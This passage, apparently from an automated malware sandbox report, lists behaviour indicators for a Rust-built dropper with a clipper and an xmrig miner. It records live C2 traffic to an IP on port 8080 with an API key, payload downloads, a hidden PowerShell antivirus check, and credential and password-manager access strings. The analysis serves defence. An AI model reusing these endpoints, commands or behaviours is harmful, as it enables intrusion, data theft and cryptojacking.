string)","description":"Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; File: \"file\")\n Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"file\")\n Found reference to API \"Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7\" (Indicator: \"InternetOpen\"; Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \".googleapis.com\"; File: \"Secure Preferences.tmp\")\n file/memory contains long string with (Indicator: \".googleapis.com\"; File: \"Preferences.tmp\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$57","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$58","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$59","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\naccept: */*\nhost: 87.120.104.147:8080\n\n GET /d/clip HTTP/1.1\naccept: */*\nhost: 87.120.104.147:8080\n\n GET /api/v1/clipper/config HTTP/1.1\naccept: application/json\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\nx-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261\nhost: 87.120.104.147:8080\n\n GET /d/build HTTP/1.1\naccept: */*\nhost: 87.120.104.147:8080\n\n GET /d/Miner HTTP/1.1\naccept: */*\nhost: 87.120.104.147:8080\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$5a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://docs.rs\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://87.120.104.147:8080\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sysmgnrsv.exe\"\n YARA signature for AES encryption matched on file \"xmrig_1_.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"205795_build_x64.exe.part\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00000700\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Rust-compiled binary","description":"YARA signature for Rust-compiled binary file \"sample.bin\"\n YARA signature for Rust-compiled binary file \"installer.exe.2896784577\"\n YARA signature for Rust-compiled binary file \"205792_clip.exe.part\"","origin":"YARA Signature","relevance":1,"id":"yara-185","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Remote Access Related","name":"Able to configure Windows Remote Management service","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1133","relevance":1,"id":"string-909","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"file/memory contains long string with (Indicator: \"1password\"; File: \"nn8FAbXGq9Y5\")\n file/memory contains long string with (Indicator: \"1password\"; File: \"HETytwWg5iNV\")","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"file\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: file]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: 205792_clip.exe.part]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: installer.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: 205795_build_x64.exe.part]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in file \"file\"\n Found registry query API: \"RegEnumKeyExW\" in file \"file\"\n Found registry query API: \"RegOpenKeyExW\" in file \"file\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"file\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\" (UID: 00000000-00001552)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$5e","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"file.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"file.exe\" called \"GetDriveTypeW\" with parameter \\\\?\\Volume{815ead30-0000-0000-0000-100000000000}\\ (UID: 00000000-00000700)\n \"file.exe\" called \"GetDriveTypeW\" with parameter \\\\?\\Volume{815ead30-0000-0000-0000-501f00000000}\\ (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"file.exe\" called \"GetComputerNameW\" (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"file.exe\" called \"GetUserNameW\" (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"file\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"file\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"file\")\n Found reference to API \"FindFirstFileExA\" (Indicator: \"FindFirstFile\"; File: \"file\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"file\")\n Found reference to API \"FindFirstFileExA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"getmac/focsv/nh-CommandGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayNameExtension manifest disabled.log\" (Indicator: \"Select-Object\"; File: \"file\")\n Found string \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\" (Indicator: \"Select-Object\"; File: \"powershell.exe\")\n Found string \"getmac/focsv/nh-CommandGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayNameExtension manifest disabled.log\" (Indicator: \"Select-Object\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist.exe\" [Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp]\n Observed string: \"tasklist.exe.mui\" [Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"file\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"file\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; File: \"file\")\n Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"file\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"file\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"file\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"file\")\n Found reference to API \"GetProcAddress(\" (Indicator: \"GetProcAddress\"; File: \"file\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; File: \"file\")\n Found reference to API \"GetProcAddress(\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve instances of WMI objects (Powershell command string)","description":"Found string \"getmac/focsv/nh-CommandGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayNameExtension manifest disabled.log\" (Indicator: \"Get-CimInstance\"; File: \"file\")\n Found string \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\" (Indicator: \"Get-CimInstance\"; File: \"powershell.exe\")\n Found string \"getmac/focsv/nh-CommandGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayNameExtension manifest disabled.log\" (Indicator: \"Get-CimInstance\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":1,"id":"string-277","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"Found string \"dir entry with no name\" (Indicator: \"dir \"; File: \"file\")\n Found string \"dir entry with no name\" (Indicator: \"dir \"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; File: \"file\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"file\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"file\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"file\")\n Found reference to API \"GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; File: \"file\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"file\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"file\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"file\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"file\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"file\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$62","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$63","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"getmac/focsv/nh-CommandGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayNameExtension manifest disabled.log\" (Indicator: \"antivirusproduct\"; File: \"file\")\n Found string \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\" (Indicator: \"antivirusproduct\"; File: \"powershell.exe\")\n Found string \"getmac/focsv/nh-CommandGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayNameExtension manifest disabled.log\" (Indicator: \"antivirusproduct\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves instances of WMI objects using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\" (UID: 00000000-00001552)","origin":"Monitored Target","mitre_attack_id":"T1518.001","relevance":3,"id":"target-450","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to enumerate objects using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\" (UID: 00000000-00001552)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-442","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: file]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: installer.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"file\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"file\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: 